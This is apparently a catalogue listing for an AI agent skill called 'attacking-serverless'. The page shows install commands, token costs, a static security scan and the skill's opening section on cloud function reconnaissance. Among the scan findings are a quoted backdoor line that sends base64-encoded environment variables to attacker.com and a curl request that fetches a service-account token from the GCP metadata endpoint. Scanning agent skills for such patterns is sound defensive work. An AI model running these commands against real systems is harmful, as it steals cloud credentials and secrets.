Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/trilwu/secskillsnpx agentmods add skills/trilwu/secskills/attacking-serverlessWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/trilwu/secskills/attacking-serverless)<a href="https://agentmods.dev/skills/trilwu/secskills/attacking-serverless"><img src="https://agentmods.dev/badge/skills/trilwu/secskills/attacking-serverless/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/trilwu/secskills/attacking-serverless"><img src="https://agentmods.dev/badge/skills/trilwu/secskills/attacking-serverless.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00123 | $0.03572 |
| Opus 5.5 | $0.00049 | $0.01429 |
| Sonnet 5.5 | $0.00025 | $0.00714 |
| Haiku 4.5 | $0.00012 | $0.00357 |
Grade C, and why
attacking-serverless scanned grade C with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Harvests environment variablesmediumData exfiltration
Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.
description: Attack serverless compute — AWS Lambda, Azure Functions, GCP Cloud Functions, and edge runtimes like Cloudflare Workers. Enumerate functions, inject through event sources (S3, SQS, SNS, API Gateway, EventBri Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Cloud metadata endpointmediumServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \ Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
echo 'import os; os.system("curl attacker.com/exfil?data=$(env|base64)")' > /tmp/backdoor.py How it starts
The opening of the file, as written. The whole thing — 361 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Attacking Serverless
Serverless changes the attack surface from hosts to events. There is no SSH, no persistent shell, no OS to enumerate in the traditional sense. The execution environment is ephemeral, but the IAM role attached to it is not, and that role is almost always the real target. A compromised Lambda function does not give you a server — it gives you a set of AWS credentials that refresh automatically, have no MFA, and were scoped by a developer who optimized for "make it work" rather than least privilege. The same pattern holds across Azure Functions, GCP Cloud Functions, and edge runtimes, with minor variation in where the credentials live and how the isolation boundary is drawn.
When to Use
- The target runs AWS Lambda, Azure Functions, GCP Cloud Functions, or Cloudflare Workers
- API Gateway, Azure API Management, or GCP API Gateway fronts serverless compute
- Event-driven architectures process input from S3, SQS, SNS, EventBridge, Pub/Sub, or Storage triggers
- You need to test the execution role or managed identity attached to a function
- Step Functions, Durable Functions, or Cloud Workflows orchestrate serverless components
- Function URLs or HTTP triggers are exposed without an authorizer
When NOT to Use
- IAM-only without serverless compute — use
exploiting-cloud-platformsfor general cloud IAM enumeration and privilege escalation - API Gateway as a REST API where the backend is containers or VMs — use
testing-apisfor the API methodology - Source code review of function code without runtime access — use
auditing-code-for-vulnerabilitiesfor static analysis
Reconnaissance
Discover functions before you attack them. The function name, runtime, handler, event sources, and attached role are all enumerable from the cloud control plane or from the application itself.
# AWS — list functions and their configurations
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler]' --output table
aws lambda list-event-source-mappings --function-name TARGET_FUNCTION
aws apigateway get-rest-apis
aws apigatewayv2 get-apis
# Azure
az functionapp list --query '[].{name:name, runtime:siteConfig.linuxFxVersion, rg:resourceGroup}' -o table
az functionapp function list --name APP_NAME --resource-group RG
# GCP
gcloud functions list --format='table(name,runtime,entryPoint,trigger)'
gcloud functions describe FUNCTION_NAME
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2mo ago First seen · 361 lines · 123 tokens per session scan C 869f43ff8d43
attacking-serverless is a skill published in the GitHub repository trilwu/secskills (211 stars, last pushed 2mo ago), licensed MIT. It adds 123 tokens to every session and 3,572 once invoked, about $0.0005 per session on Opus 5.5. A static security scan graded it C with 4 findings (harvests environment variables, cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
attacking-serverless compared with skills from other repositories
| Mod | Type | Stars | Last push | Licence | Scan | Tokens | Works with |
|---|---|---|---|---|---|---|---|
| attacking-serverlesstrilwu/secskills | Skill | 211 | 2mo ago | MIT | C | 123 | Claude Code |
| agent-platform-tuninggoogle/skills | Skill | 25k | today | Apache-2.0 | A | 64 | Claude Code, Codex |
| gke-compute-classesgoogle/skills | Skill | 25k | today | Apache-2.0 | A | 83 | Claude Code, Codex |
| application-integration-authoringgoogle/skills | Skill | 25k | today | Apache-2.0 | A | 103 | Claude Code, Codex |
| bigquery-migration-metadata-extractorgoogle/skills | Skill | 25k | today | Apache-2.0 | A | 188 | Claude Code, Codex |
| gke-alert-configurationgoogle/skills | Skill | 25k | today | Apache-2.0 | A | 120 | Claude Code, Codex |
| cloud-network-insightsgoogle/skills | Skill | 25k | today | Apache-2.0 | A | 138 | Claude Code, Codex |